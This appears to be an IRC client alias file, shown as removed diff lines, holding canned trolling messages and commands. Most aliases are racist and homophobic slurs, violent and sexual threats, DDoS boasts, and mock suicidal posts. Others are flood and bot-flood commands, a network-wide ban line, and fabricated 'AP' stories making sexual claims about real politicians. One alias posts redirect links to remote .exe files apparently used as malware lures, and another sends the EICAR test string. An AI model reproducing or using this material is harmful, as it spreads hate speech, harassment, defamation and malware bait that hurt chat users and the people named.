-  camping = "/say $0 : I go camping in the hills to a cabin in the mountains just outside of fairplay, co (also know as South Park) Watching the stars out there without the city light's saturation is pretty cool, theres a telescope up there and once you get the hang of it makes for a pretty surreal experience. Anyways, im rambeling so if youre interested, lets get together for a drink and get to know each other! ";
-  ramprat = "/say yesterday i bought a shirt and it was an inch too long, so i took it back and the lady at the register was about a sfat as the last girl i fucked on myspace except this girl had purple hair and looked good in her fug boots, but anyway i tried having sex with her but failed and came home and talked about how i want to buy a car on ebay, but i wont, but ill talk about it, ^_^";
-  ramprat2 = "/say $0 : i bought a car on ebay tho, it doesnt drive, i got it's myspace";
-  g00n2 = "/say why would i ever take a break from irc if i didnt have a reason? all these years of battle and you think i'd really part for purely emo reasons? its true, i was annoyed. But i parted because i needed to for finals. Being pissed helped... but it wasnt the reason.";
-  ip = "/invite $0 #wepump";
-  mp = "/invite $0 #masspump";
-  summer = "/say WHEN U R READING THIS DONT STOP OR SOMETHING BAD WILL HAPPEN MY NAME IS SUMMER I AM 15 YEARS OLD i have BLONDE HAIR , SCARS no NOSE OR EARS I AM DEAD IF U DONT COPY THIS JUS LIKE FROM THE RING COPY N POST THIS ON 5 MORE CHANNELS OR I WILL APPEAR ONE CREEPY NIGHT WEN UR NOT ExPECTING IT BY YOUR BED WITH A NIFE AND KILL U THIS IS NO JOKE SUMMET ING GOOD WILL HAPPEN TO U IF YOU POST THIS ON 5 MORE CHANNELS";
-  bp = "/invite $0 #bigpumpin";
-  ddos = "/say most people on irc the ones that you see with the quit \"operation timed out\" thats because $0 has control of a giant botnet that he uses to ddos people.. so be careful what you say about him or any of his friends or online girlfriends..";
-  ke = "/say so today whiel waiting for the bus;/say i saw a tranny with a stroller (pics inc);/say and some crazy hippy chick dancing around while he friend filmed her;/say with incense and spraying some kind of shit up her skirt";
-  superbad = "/say when i was a lil kid i kinda had this problem and its not even that big of a deal somethin like 8% of kids do it but whatever for some reason id unno i jus tkinda sit around all day and draw pictures of dicks";
-  g00n4 = "/say $0 : i can direct you to your local Colden Corral though, i think thats more your pace...";
-  goof = "/say $0 : don't like your shell too much eh goof watch what 5000 bots do to it hahahahaha see ya goof";
-  goof2 = "/say $0 : ill make sure u and yer lil buddy over there find out what its like to get glined from EFnet";
-  goof3 = "/say $0 : see u on the no inet side";
-  packet14 = "/say $0 : try not yo fuck youre sister on the way out";
-  packet15 = "/say $0 if you wanna bump lets go nig-ga";
-  lilj = "/say <$0> HEY WUT UP YALL THIS YA BOY $0 AND THIS LITTLE BOY RIGHT HERE AINT SCARED OF NOBODY SO IF YOU GOT ANYTHING TO SAY TO ME YOU CAN SAY IT TO MY MOTHERFUCKIN FACE OR HIT ME UP ON MY MOTHERFUCKIN MYSPACE AIGHT THEN AND THIS LITTLE BITCH RIGHT HERE WILL FUCKIN KILL YO ASS NI-GUH SO IF YOU HAVE ANYTHING TO SAY YOU CAN SAY IT TO ME AND IF YOU WANNA BUMP LETS GO CUZ I AINT SCARED OF YOUR MOTHERFUCKIN ASS ";
-  crash = "/say hey girl, kind of crash are u into? im all about Crash2Wrk / Crash2Bur / Crash2Irc / Crash2Boo / Crash2die/ Crash2rky / Crash2Mas / Crash2008 / Crash2brn / phecrash2burnice^";
-  botflood = "/say .bc * dump privmsg #$0 :\0034,4LLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLL\0035,5LLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLL\0034,4LLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLL\0035,5LLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLL\0032nigger.";
-  johne = "/say [05-Beatles-non-solo-ft.ringo-george-paul-and-johne-Live-and-Let-die.mp3][171kbpso6.1mbo04:45mins]";
-  toad = "/say $0 : u fkn faggot i sware 2 god if u try me like that again i'm gunna push yer face n2 the curb and kick the back of yer head with my steel toad boots. i sware bro u r the biggest fkn idiot i evr met and if u think for 1 secnd ur getting away with this then u better consult ms cleo becuz even she can see ur dyas are numb3r3d";
-  pj = "/invite $0 #pumpjuice";
-  myspace = "/say $0 : uh myspace isnt lame, its the #1 site on the internet, those numbers don tlie, plus its for people that found out how lame IRC is and made a mvoe to the mature side of the internet, stop trying to troll here";
-  packet16 = "/say $0 : you look like a chipmunk version of the guy who plays spiderman.";
-  dog = "/say http://img502.imageshack.us/img502/3126/2nauteg.gif";
-  dog2 = "/say $0 : I've already been burnt hard with the \"You are Asian you would have eaten the dogs already\" jokes. So Save it.";
-  dog3 = "/say $0 : Yes, I would have eaten the dogs in a situation like this. Better to have some dog meat instead of starve to death or heaven for bid head down to a Wal-Mart and get shot by Troops defending the fall stock of Nikes.";
-  dog4 = "/say $0 : Everytime I watch the news there's some calamity about \"dogs being left behind\" or \"pets drowning\" or \"White boy cries about losing his dog.\"";
-  dog5 = "/say $0 : FUCK YOUR DOG MAN";
-  digg = "/say http://digg.com/odd_stuff/$0";
-  sec = "/say $0 : how are you going to compete with the likes of eastern washington, linfield college and loyola maramount? u aint";
-  sec2 = "/say $0 : you cant fuck with delta state, the fighting \0033okra";
-  shawn = "/say $0 : heeh. i would like to meet some people from irc or what not, those 'asshole' people.. So i can punch them in the mouth";
-  shawn2 = "/say $0 : they can sit behind their keyboard and make fun of everyone and get off on it, because no one can punch them in the mouth";
-  shawn3 = "/say $0 : before internet, people had respect for other people, because if you didn't, you'd get hit";
-  packet17 = "/say $0 : so better not to ddos me or i fuck ur mother";
-  oper2 = "/say \0030EVERYONE ---- \0034 CAUTION CAUTION \0030 ----- AN OPER HAS ENTERED TEH ROOM AND MADE THEIR PRESENCE KNOWN PROCEED WITH \0034CAUTION";
-  ddos2 = "/say nigga i cc u out of existence $0, u dont even want to mess with the 400 hackers i got sittin around waitin on ur ip nigga, they ready to knock out 20 ISP's bro";
-  tetedupet = "/say OK LOL TETEDUPET STEPPED TO ME AND I GOT HIM TO FUCK UP AND KILL ME TOO MUCH, HE GOT SUSPENDED THEN WHEN HE CAME BACK HE GOT DEMOTED TO LOCAL OLINE FROM GLOBAL, NOW, LOL, HE QUIT BEING AN OPER CAUSE HE SHIT ON HIMSELF SO HARD - I REPEAT TETEDUPET IS NO LONGER AN OPER LOL EPIC WIN FOR PENISPUMP";
-  dong = "/say hi $0, me your dong yet?";
-  hozkinz = "/say $0 : do you want to buy an ikariam account, with 2 cities, in a shit xenufag clan, with wine and marble?";
-  voicepj = "/say .bc * dump mode #pumpjuice +v $0";
-  chuggo = "/say These guys are taking Chuggo to a whole new level, and this video has shit I don't remember from the original so now I have to rewatch that to see if this guy is just really clever at editing or there's a new version. Oh shit, they did update the original video, or else I've always just been really drunk when I watched it. Them driving in the car with the skull as the hood ornament is now my new favorite bit. ";
-  ddos3 = "/say \0034OK SERIOUSLY SHUT THE FUCK UP RIGHT NOW BEFORE I HACK EVERYONE IN THIS FUCKING CHANNEL AND DDOS THE ENTIRE INTERNET. IT TAKES A LOT TO GET ME MAD ENOUGH TO TYPE IN CAPS *AND* RED BUT YOUVE DONE IT. FUCK YOU AND EVERYTHIGN YOU STAND FOR. FUCK YOU. ID QUIT IRC BUT I STILL HAVE A SCORE TO SETTLE WITH YOU BOYO.";
-  typo = "/say \0030caution: it has been noticed that a _typo_ has been used as a \0034_counter-troll_\003-. \0030No matter the validity of the trolling parties statements, all points have been \0030,2TSUNAMI'D\0030,1 by the typo itself.";
-  mirc = "/say i just wanna learn mirc so i can move on with my life";
-  egg = "/say $0 : \0030go boil a chilean bat egg (boiled.egg.cl) if n0t 3kbps \0034ddos \0030comin";
-  windows = "/say $0 :Instead of typing Exit at a DOS prompt and having your computer restart when you want to get back into Windows, simply type \"win.\" (without quotes)";
-  windows2 = "/say $0 : You can quickly locate a file from a DOS prompt by typing \"dir/s (filename)\"";
-  windows3 = "/say $0 : If you are in DOS, you may notice that your folders with long names are missing. Actually, they are not. DOS reads only the first 6 characters and then puts in a ~ symbol, followed by a number.";
-  windows4 = "/say $0 : DOS won't recognize a filename with a space in it. The solution to this is simple, just put the path of the file in quotes. This is also true for the Run command line, you have to use quotes for filenames that have spaces in them.";
-  windows5 = "/say $0 : If you have old MS-DOS applications, you might want to run them with a full-screen. To run them in full-screen mode, open the MS-DOS application and press Alt+Enter. To switch back, simply press Alt+Enter again.";
-  windows6 = "/say $0 : If you see a cool picture on the Internet, you can put it on your desktop as wallpaper. ";
-  windows7 = "/say $0 : To quickly create a shortcut to a web site on your Desktop, simply right-click a URL and click Copy Shortcut while browsing. Switch to you Desktop, position your mouse where you want the shortcut to appear, right-click your mouse and click Paste Shortcut. The new shortcut will immediately appear!";
-  windows8 = "/say $0 : If you run out of room on your disk, before you start deleting files, try emptying the Recycle Bin. To do this you must first open Windows Explorer.";
-  africa = "/say ONE DAY....Africa going to save her children from you and your kind. We are GOD. Not you.";
-  lady = "/say (.Y.) ;/say  ).( ;/say ( v )";
-  link = "/say never fails when i think ive seen all the internet someone pastes a link ive never seen, wtf";
-  gettroll = "exec - -out perl -MLWP::Simple -e \"getprint 'http://rolloffle.churchburning.org/troll_me_text.php'\" 2>/dev/null";
-  flud = "/exec -o cat /home/v/ascii/$0.txt";
-  phreek = "/say \0038,8_____\0031,1 \00315,1-> \0034phreeks head";
-  foam = "/say last night i filled my girls cunt with expanding foam she was dead in 5 mins";
-  arm = "/say wanna see a pic of my arm?;/say http://www.getgreatguns.com/images/gg_img_armfloat.jpg";
-  emot = "/say (._.\")";
-  emot2 = "/say (o_o')";
-  mv = "/voice -yes *";
-  black = "in";
-  comeback = "/say hey $0 how about i play a random alias from my /aliases we've all seen before, but expect it to be witty AND funny at the same time, go c/p another blog fgt. seriously the nerve on some of these fucks.. i would go into detail about how $0 used to hang out at my house and hit on my sister.. he was 14 she was 7, but ill leave that in the past.. just like his alias";
-  honest = "/say liking to watch guys fuck doesnt make me gay it makes me honest";
-  cock = "/say HEY $0, why dont you post your biggest cock pic and prove how much of a man you are.";
-  panda = "/say $0 : alguem me pode ajudar com uma xbox360?";
-  argh = "/say Five score years ago, a great American, in whose symbolic shadow we stand today, signed the Emancipation Proclamation. This momentous decree came as a great beacon light of hope to millions of negro slaves who had been seared in the flames of witherAHHHH C'MON FUCK A GUY";
-  br5 = "/say lick my buttery biscuits";
-  b6 = "/say why dont you go read some books and learn emotions";
-  br6 = "/say why dont you go read some books and learn emotions";
-  br7 = "/say $0 i dropped my BLACKBERRY in the FINANCIAL DISTRICT stepping out of my HELICOPTER";
-  old = "/say $0: were you fully serious on the internet when you first started? or did you develop that like a typical old person later in your internet life";
-  drama = "/say insect hacked yeti.xzibition and has brrn trying to ban bryand bots for 5 days";
-  drama2 = "/say insect has been plannkng this and is fucking bryan over irl";
-  starwars = "/say starwars are lookin for a bunch of dumb people to do a life sentce bein thier fukboy if u would like to sign for a life sentce in a fag bar plz pm me asap";
-  cflood = "colourflood -fg $0 -bg $1 -w1 $2 -w2 $3";
-  hzu = "/colourflood -fg green -bg yellow -w1 NIGGERS -w2 I GOT JUICE";
-  hzu2 = "/colourflood -bg red -fg yellow -w1 RIPPED -w2 TITS";
-  hzu3 = "/colourflood -fg yellow -bg red -w1 RAMPRAT -w2 NICE DRESS";
-  hzu4 = "/colourflood -bg blue -fg purple -w1 PURPLE -w2 DRANK";
-  hzu5 = "/colourflood -bg green -fg red -w1 MERRY DIXMAS -w2 HAPPY JEW YEAR";
-  moonlight = "/say .l t3hh6x";
-  wiley = "/say $0 : Irssi: Unknown command: 10";
-  wallnazi = "/wallops \0035,5--------------------------";
-  clorox = "/say $0 : i really only deal with hackers";
-  clorox2 = "/say $0 : you wanna meat up and have some coffee or somethin?";
-  clorox3 = "/say $0 : believe me if i wanted your ducks i'd have it";
-  wave = "/say $0 : ride the ¯`·.¸¸.·´¯`·.¸¸.·´¯`·.¸¸.·´¯`·.¸¸.·´¯`·.¸¸.·´¯`·.¸¸.·´¯¯`·.¸¸.·´¯`·.¸¸.·´¯`·.¸¸.·´¯`·.¸¸.·´¯`·.¸¸.·´¯`·.¸¸.·´¯¯`·.¸¸.·´¯`·.¸¸.·´¯`·.¸¸.·´¯`·.¸¸.·´¯`·.¸¸.·´¯`·.¸¸.·´¯¯`·.¸¸.·´¯`·.¸¸.·´¯`·.¸¸.·´¯`·.¸¸.·´¯`·.¸¸.·´¯`·.¸¸.·´¯¯`·.¸¸.·´¯`·.¸¸.·´¯`·.¸¸.·´¯`·.¸¸.·´¯`·.¸¸.·´¯`·.¸¸.·´¯¯`·.¸¸.·´¯`·.¸¸.·´¯`·.¸¸.·´¯`·.¸¸.·´¯`·.¸¸.·´¯`·.¸¸.·´¯";
-  tough = "/say listen u little runt, all u ever say is \"$0\". u think ur a frickin tough guy or some sh*t like ur so cool u frickin fagget no1 here even frickin likes u so just get the frick out b4 i embaras the frick ouuta u u frickin fag";
-  scary = "/say that nigger is looking at me through a digital camera in $0's hand through the internet and onto my screen";
-  morph = "/say some dumbshit was badmouthing the channel, then I proceeded to insult him for being a whining cunt and he morphed into an OP on my ass and banned me right quick";
-  comeback2 = "/say how about i do a nice alias revamp and give you funny shit to say that hasnt been said 80 times, then people will actually read what you say and not ignore it";
-  "#join" = "/say $0 if thats the case u a butt hole boy scout cuz aint nobody talkin 2 yo dumb ass";
-  boots = "/say $0: i want to hold ur lil irc hands and mold you into a real irc woman";
-  synapze = "/say we got 5 different hacking crews working on you guys";
-  superop = "/op $0; /op $0 $0; /op $0 $0 $0; /op $0 $0 $0 $0; /op $0 $0 $0 $0 ; /op $0 $0 $0 $0; /op $0 $0 $0; /op $0 $0; /op $0; /op $0 $0; /op $0 $0 $0; /op $0 $0 $0 $0; /op $0 $0 $0 $0 ; /op $0 $0 $0 $0; /op $0 $0 $0; /op $0 $0; /op $0";
-  "#john" = "/say lol go try and find yourself a life nerd";
-  xbox = "/say $0 : between travelling in my helicopter for press conferences and going to exclusive clubs in downtown chicago i hardly have time for xbox 360";
-  amph = "/say $0 : and i don't care how much you sing either, i've written more exploits, more articles onexploiting, and i've got more fellonies than you";
-  amph2 = "/say $0 : i've been more places that you don't want to be";
-  fail = "/say are you embarassed by that enormous pile of fail you just sat down and let out onto the toilet known as IRC?";
-  kill = "you";
-  porno = "/say Me Luv Teeny Weenie ft. $0 XXX DVDRiP XviD-GLAMOUR (#42)";
-  face = "/say i will continue to pwn you and your fools for as long as it takes for you to realize that i am not your fags and my channels are not here for your fags to join.";
-  help = "help";
-  phreak = "/say $0 : Guess what, asshole? I was one of the earliest hackers in the 1980s. I KNEW Kevin Mitnick. Phone Phreaking is as secondary to me as skullfucking your daughter. I'm going to keep calling your house, OVER AND OVER, and the phone company will NEVER be able to trace the call. You're going down";
-  samy = "/say samy, grant me the serenity to accept the things I cannot change, the courage to change the things I can, and the wisdom to know the difference";
-  ps3 = "/say AP(P4l) - In response to XBOX 360 success and considerable difference in price. Iko Naguyuki has announced the 40gb ps3 will drop to 249 dollars starting Aug 1st 08 in America and will be bundled with the ever popular Grand Theft Auto IV. ";
-  sorry = "/say We here at Penis Pump Inc. regret to inform you that we are weeding out anyone that wasnt around during the initial creation of Penis Pump, do not take offense to this you are part of a large group of people who will not be included in further pumping. To be included in the future, track down who lofi is (the guy with the nj comcast host) and we can forget about moles. Thank you for understanding - Management.";
-  rape = "/say unless my life improves in the next 5 months, im planning on killing myself on the fourth anniversary of my rape.";
-  ozkoe = "/say yall ;/say dont ;/say know ;/say me ;/say o ;/say z ;/say k ;/say o ;/say e ;/say servin all the \0030fiends";
-  smell = "/say Elephants can tell ethnic groups that hunt them from those that do not, by smell.";
-  emo4 = "/say I am so depressed sucide is to much work even as a prefectionist, I alas have nothing. And am a lost soul, and cuase, christan despite everything nice she tried to do for me scared me. I dont want to build that repution here, Its my time soon, its coming and I gave up.";
-  emo5 = "/say If people go out their way to avoid, me I have sought help to my understanding of my own insanity. Than I have no reason to further exisit, no reason to be around any longer, My time is up and now kissed with fate.";
-  emo6 = "/say I have a few folks and co-depeants in my life, I have issues to deal with and some abusers, I called a womens hate crime rape place yesterday. I dont have any tollerance for sex workers, transgender whores, or folks that use that dont repsect me, or folks that dont respect my bounderies and respect my life.";
-  emo7 = "/say The reality of myself, and further gorwth today I took steps to take accountablity for my past, I take the steps to fight the future and the inevitbale death of myself. I feel dead now, happers but still lonely and insecure as fuck.";
-  emo8 = "/say I feel as if My life is meaning less and pointless, but hope is on the horozion, I might rent a car this weekend to take care of some affaris and scope out some subriubia and maybe go hikeing.";
-  emo9 = "/say The reality of Life, is not life it self, I found another sponsor, I want the insanity to end, I want recovery, the answer is to recovery is I dont, know. I just know what I dont want, I dont have the answers, but I find them more and more one day at a time, the fear of relpase, is not an option.";
-  emo10 = "/say I have some medical things, and therpey apointments this week as well and much more to do, Ive just be so very busy, I am going to turn in early tonight, and get a good workout. ";
-  ps2 = "/say AP - Hacking group PS4L has boasted a new firmware hack for the late model Playstation 2 systems that allows all current PS3 games to be played on the old system minus a few features. When asked about the new firmware Jessie M. was quoted as saying \"The only loss is the Rumble function which I don't think anyone will miss.\" The new hack for the firmware is set to be released on July 1, 2008.";
-  cutie578 = "/mode #1337juice -k;/msg cutie578 !join #1337juice";
-  malay = "/say Isap kote anjing";
-  block = "/say \0034,4::::::::::::::::::::::::::::::::::::::::::;/say \0034,4::::::::::::::::::::::::::::::::::::::::::;/say \0034,4::::::::::::::::::::::::::::::::::::::::::;/say \0034,4::::::::::::::::::::::::::::::::::::::::::;/say \0034,4::::::::::::::::::::::::::::::::::::::::::";
-  goof4 = "/say $0 : fucking bring the best you got and i hope its better then your mom cause i had that last night goof";
-  goof5 = "/say best you got cock bag lol your fucked and so is your little kindergarden drew";
-  malay2 = "/say <+     naya> vaper bye syg tonto kate";
-  uptime = "/say Uptime: 14 Hours - Load Average: 232.22 423.92 988.21";
-  dose = "/say <@dose> it's true that there is a shortage of doctors. people that don't have a family doc can get really fucked over.";
-  sonya = "/say im not mad for once in my life makes no sense at all";
-  convert = "/say $0: I just want to admit for the last 6 months or so I've enjoyed trolling this chatroom, including you and others, but after reading that we are nerds on irc and antisocial it made me realize .. I've been trolling myself. Hard. I'm going to change my ways and get serious about irc and stop trolling. Sorry about earlier.";
-  cms = "/say I might kindly and humbly request that you endeavour to tone down the endless barrage of  obscenities and insults. One can say a lot more with less";
-  sex = "/say If you keep trolling me $0, I'm going to insult your age, your current living situation, and your sexual preference. ";
-  kampung = "/say 16:06 vap0r changed the topic of #kampung to: http://wepump.in/ | penispump owns #kampung 2008 | WUT WUTWUT WUT WUT WUT HOI APE IIIIIIIIIIII.";
-  bleach = "/say  $0 : hurry the fuck up im about to leave";
-  bleach2 = "/say  $0 : dont put up with lame ass fucking trolling faggot bullshit";
-  bleach3 = "/say  $0 : u shouldnt have acted like a fag and got me banned from #efnet";
-  bleach4 = "/say  $0 : i'll have the feds on ur ass within 48 hrs";
-  dikky3 = "/say $0 : I DONT DO A SHOW BEFORE I GO TO WORK U ASSHOLE";
-  pokla = "/say http://96.235.19.225:8778/";
-  polka = "/say \0034,2COME CHECK OUT POLKA CAM \0035,11http://96.235.19.225:8778/ \0030,4[-------------LOL]\0030,13OMG - DOG IS SO CUTE";
-  nac = "/quote flags +SWALLOPS +OKILLS +SKILLS +SNOTICES; /mode vap0r +sw";
-  care2 = "/say care-meter: \00314[\0034||||\0035||..\0036....\00314] 45%";
-  smoking = "/say OooOoOo(^o^)_y-====*~~~";
-  frown = "/say o;/say   (;/say o";
-  mad = "/say sup im gonna sit here and get mad at people having a goodtime on the internet, colors bother me and i want to kill you, you have no skills like i do, i can shut down an internet connection, you sir have nothing besides a sense of humor which i lack to the fullest";
-  mad2 = "/say because he has nothing better to do at 2 in the fucking morning";
-  mad3 = "/say than sit on fucking irc with 11 other fucks";
-  mad4 = "/say and he has the audacity to tell me, a real fucking person";
-  mad5 = "/say who has a real fucking life";
-  mad6 = "/say and knows real important people";
-  mad7 = "/say and is working on a actual fucking album";
-  mad8 = "/say that i'm a motherfucking faggot";
-  mad9 = "/say which i may or may not be";
-  mad10 = "/say but whose business is def mine and not his";
-  mad11 = "/say and your name is $0 ???";
-  mad12 = "/say am i in high school again?";
-  mad13 = "/say or worse";
-  mad14 = "/say cyberhighschool";
-  dose2 = "/say <@dose> man, getting high on paint Really sucks";
-  raged = "/say $0 : sup im gonna sit here and get mad at people having a goodtime on the internet, colors bother me and i want to kill you, you have no skills like i do, i can shut down an internet connection, you sir have nothing besides a sense of humor which i lack to the fullest";
-  dose3 = "/say  <@     dose> i huffed a chart marker once, srs";
-  dose4 = "/say <dose-> cmon jupe me you useless cunt";
-  dose5 = "/say <dose-> sure i have warez";
-  dose6 = "/say <@dose-> you don't got the skills";
-  toes = "/say i tattoo'd my toes as little turds, then i make $0 suck em";
-  polka2 = "/say \00313,2OH HAHA COME CHECK OUT THE LIVING ROOM SHOWCASE WITH NO DOGS http://96.235.19.225:8778/";
-  ap = "/say AP - 2008 - For 2 weeks in a row Homosexual zombies have been spotted around the town of San Francisco, CA. When questioned, Zombie Specialist David Dean explained \"These desceased forms are being brought back to halflife due to the lack of fags in Heaven.\" Due to the cities extreme knack for tolerance these halflife forms have been allowed to stick around and can mostly be found in the Castro District of SF. ";
-  lol = "/say haaha haah haha aaah ah a aaah ";
-  lol2 = "/say ha ha aha hah ahahahh ha";
-  hotdog = "/say (---------) (---------) FOUR HOTDOGS (---------) (---------)";
-  ranger = "/say come to toronto and call me fat to my face. until that happens your just another small child online who thinks hes tough. kthx";
-  taint = "/say The need to tear down someone else in order to feel self importaint in understandable in a juvinile.";
-  lol3 = "/say uh HAHA lol... haah ah ha a";
-  lol4 = "/say BITCH! TALKIN LIKE A BITCH";
-  lol5 = "/say WHO THE FUCK SAYS THAT ONLY A GAY BITCH LIKE U";
-  lol6 = "/say SHHHHHHHHHHHHHHHHHITY";
-  lol7 = "/say GO SUCK ON SUM DICK FOR A PENNY";
-  lol8 = "/say FAG";
-  lol9 = "/say U A BITCH FOR NOT WRITING BACK";
-  lol10 = "/say GAAAAAAAAAAAAAAAAAAAAAAAAAAAAY";
-  lol11 = "/say U GAY TESTING";
-  big = "/hueg ";
-  kobe = "/say \0030T.\0033M.\0034H.\0035M.\0036A.\0037T.";
-  bootleg = "/say Now Playing - Phastman - Myspace Pimpin (2007) (Album: Web Life)";
-  arab3 = "/say im a go to slep";
-  blessed = "/say \0031,13PLEASE SIGN THE DE-LINK BLESSED.NET PETITION \0030,1___________________ ";
-  breakdown = "/say Last night, I went through an emotional breakdown that lasted about 5 hours long. It was prpbably the most terrible one where I literally confronted all my fears and problems. I almost was just about to give up on life but four of my closest friends helped me get through it.";
-  mod = "/say Hey shithead. If I find any of your posts modded down I'll metamod in agreement with the moderator. You are a piece of shit asshole who deserves to be modded down.";
-  dose7 = "/say <@dose-> wtf is a prion";
-  mild = "/say if you acted in real life like you do here on IRC you wouldn't get very far";
-  mild3 = "/say well all im sayin is my computer isnt a toy so dont play with me";
-  mild2 = "/say be more careful next time";
-  dose8 = "/say <dose-> Zomg vap0r's mommy taught him to script mIRC LoL!";
-  dose9 = "/say <dose-> me > you";
-  dfi = "/say you'll die for irc......lol that's the lamest fk'n thing i've ever read on irc, lol";
-  sonya2 = "/say well you are talking to phreek and you would know its him by the color he used i dont do that i dont know how now fuck off";
-  sonya3 = "/say lmao you just made urself look dumb (even more) cause im not sonya haha";
-  sonya4 = "/say this is phreek actually";
-  chan = "/exec - -out curl -s 'http://p0r.ninja/~v/chan.php'";
-  chan2 = "/say and yeah...i'm a mothefuckr....i fucked ur mom recently";
-  chan3 = "/say kick me agian and virus will distroy this channel...";
-  chan4 = "/say u should have ampalaya shake ya'll";
-  cd = "/say mp3- vap0r ft. birmingham squad - i kill irc ppl irl - 01 - i ripped paggas throat out and i pissed on his corpse (rmx)";
-  cd2 = "/say mp3- vap0r ft. dieforirc - rm -rf /home - 02 - removin your backups and forcing you into suicide";
-  cd3 = "/say mp3- zubwolf ft. zubwolf & zubwolf - the anti-vap0r tracks (limited edition) - 02 - list of things i hate about vap0r";
-  cd4 = "/say mp3- shaggs ft. vxp - go fuckoy ueflf cd 1 - 05 - brb hicnk tsotore";
-  cd5 = "/say mp3- arab ft. klatuu - friend 2 friend - 05 - playing tennis wont sustain my need for a friend (a russian story).mp3";
-  cd6 = "/say mp3- sup g00n posse ft. g00n - sup g00n - 01 - sup g00n (sup g00n rmx)";
-  chan5 = "/say how thus fucKing people love this fucking chat lounge... it hasn't any fun right here.. i should bomb this..";
-  chan6 = "/say what a knob! you keep on chatting in your little gay chatroom and i will live in the real world...laughable you have made my day";
-  chan7 = "/say wee Turki fucking you mathers TURK TURK TURK TURK Ozbekistan Uyqurustan Turkmanistan Azerbayijan TUrkey we are fuck you";
-  spoiler = "/say in the new Pinapple Express, Seth Rogen gets shot accidentally by James Franco at the end of the movie, and you think he is going to be fine until the scene dramatically cuts to his headstone @ his funeral with james franco crying uncontrollably while smoking the \"Cross Joint\" featured in the film";
-  spoiler2 = "/say In The Dark Knight, Batman duels with the Joker through battles all across Gotham City. These fights climax when Batman discovers that the Joker is his actual father who killed Wayne Sr. out of jealousy for his wife.";
-  disliked = "/say dont be joinin my channel with that gay ass join, msg, part shit";
-  powr = "/say my dad used to make some fucking amazing broiled burgers";
-  add = "pokey5 /say right Im a retard have a look in the mirror loser";
-  poil = "/say spoiler from irc.trollin.org #arab: Batman is portrayed early in the movie as a nutcase and is saught to be arrested. Joker's clowns break joker out of jail.. theres a car chase.. batman and joker face off in batman's new BATPOD a motorcycle.. Harvey dent reveals the identity of batman as HIMSELF (untrue).. batman kills joker.. gordon uses a huge axe to smash the batman light symbol (the dark knight)";
-  spoil = "/say spoiler from irc.trollin.org #arab: Batman is portrayed early in the movie as a nutcase and is saught to be arrested. Joker's clowns break joker out of jail.. theres a car chase.. batman and joker face off in batman's new BATPOD a motorcycle.. Harvey dent reveals the identity of batman as HIMSELF (untrue).. batman kills joker.. gordon uses a huge axe to smash the batman light symbol (the dark knight)";
-  arabspam = "/kline *@0.0.0.0/0 bla next time";
-  aim = "/say yesterday was the worst day of my life. i was chatting online with my girlfriend and another girl msgd me.. she said she loved me and wanted to have sex with me.. i copied what she said an pasted it into notepad to always remember it.. and her text was small and pink.. when i went to talk to my real girlfriend again my text was in small pink font and she knew something was up.. she broke up with me :(";
-  aim2 = "/say <@$0> yesterday was the worst day of my life. i was chatting online with my girlfriend and another girl msgd me.. she said she loved me and wanted to have sex with me.. i copied what she said an pasted it into notepad to always remember it.. and her text was small and pink.. when i went to talk to my real girlfriend again my text was in small pink font and she knew something was up.. she broke up with me :(";
-  wow = "/say i bet your lil' nub guild cant even kill gruul, weve had that shit on farm since march. so say whatever you wanna say, about me wasting my life on a video game. say im \"missing something\" because i don't get drunk and wasted every night with some popped collar faggot friends. but when you log on to azeroth, you best step off, 'cause you're on my home turf now";
-  otis = "/say maybe i snatched your ip out of the irc stream and ran a backwards trace against it, but hey, who knows right? Security exists for those who do not know how to break it.";
-  puppet = "/say $0: you should have some respect your a bitch mother fucker you wanna beef we can";
-  pctek = "/say $0 : we're working on something new";
-  pctek2 = "/say $0 : to packet storm them";
-  pctek3 = "/say $0 : once they get like 20 offenses";
-  pctek4 = "/say $0 : we are slowly working to identify each one of them individually";
-  pctek5 = "/say $0 : and we are going to turn this ibm es9000 mainframe on them";
-  pctek6 = "/say $0 : as a packet storm to crash their isp";
-  lyrics = "/say .lyrics daft punk - around the world";
-  tired = "/say $0: im tired of irc and you know why? because of you. thats right, because of you and people like you..or YOU PEOPLE. jesus, you'd think by now you'd finda fucking life and get off efnet, but youre stuck here forever sucking ur own dick, buck u im out";
-  america = "/say $0: I have a nice house, a good job and kids to raise. I dont have time for all this conspiracy stuff. If you arent doing anything wrong you dont have to worry about what the government does";
-  raccoon = "/say i will see to it that irc.nac.net gets delinked";
-  ritalin = "/say $0 : we need op just like these troll, on ritalin";
-  sonya5 = "/say i dont do shit and i am hardley even on irc you must be so butt hurts to keep trolling like this now go away emo shit";
-  gta = "/say girl, you must be grand theft auto: san andreas because once i get inside of you i'm going to do all sorts of illegal things";
-  goof6 = "/say $0 : punk face goof";
-  fed = "/say how about i call my uncle who's a fed?";
-  virus = "/say http://moviefather.com/redirect.php?url=http://38.103.173.116/ragebot.exehttp://79.152.73.72/VirusBuster.exe";
-  lyrics2 = "/say .lyrics darude-sandstorm";
-  overload = "/say you know what, i don't even give a shit, have fun on ignore, i aint got time for your shit";
-  bleach5 = "/say $0 : id like to get you in a cell alone one night real late";
-  sonya6 = "/say im about to be you jealous?";
-  drop = "/ctcp $0 schat \"X5O!P%@AP[4PZX54(P^)7CC)7}-STANDARD-ANTIVIRUS-TEST-FILE!+H\" 0 0 0";
-  wraith = "/say bryan i just wanna say im really happy you made the wraith botnet, i can tell that you spent a great deal of time on it.. and i appreciate that, youve really helped benefit the irc community.";
-  barackAP = "08 - Washington post reporter Jarvis McLarvin reports that RNC speaker and Vice-Presidential hopeful Sarah Palin's daughter Bristol Palin was impregnated by none other than Presidential hopeful and African-American Barack Obama.";
-  barack = "AP 08 - Washington post reporter Jarvis McLarvin reports that RNC speaker and Vice-Presidential hopeful Sarah Palin's daughter Bristol Palin was impregnated by none other than Presidential hopeful and African-American Barack Obama.";
-  ppres = "/say AP 08 - Washington post reporter Jarvis McLarvin reports that RNC speaker and Vice-Presidential hopeful Sarah Palin's daughter Bristol Palin was impregnated by none other than Presidential hopeful and African-American Barack Obama.";
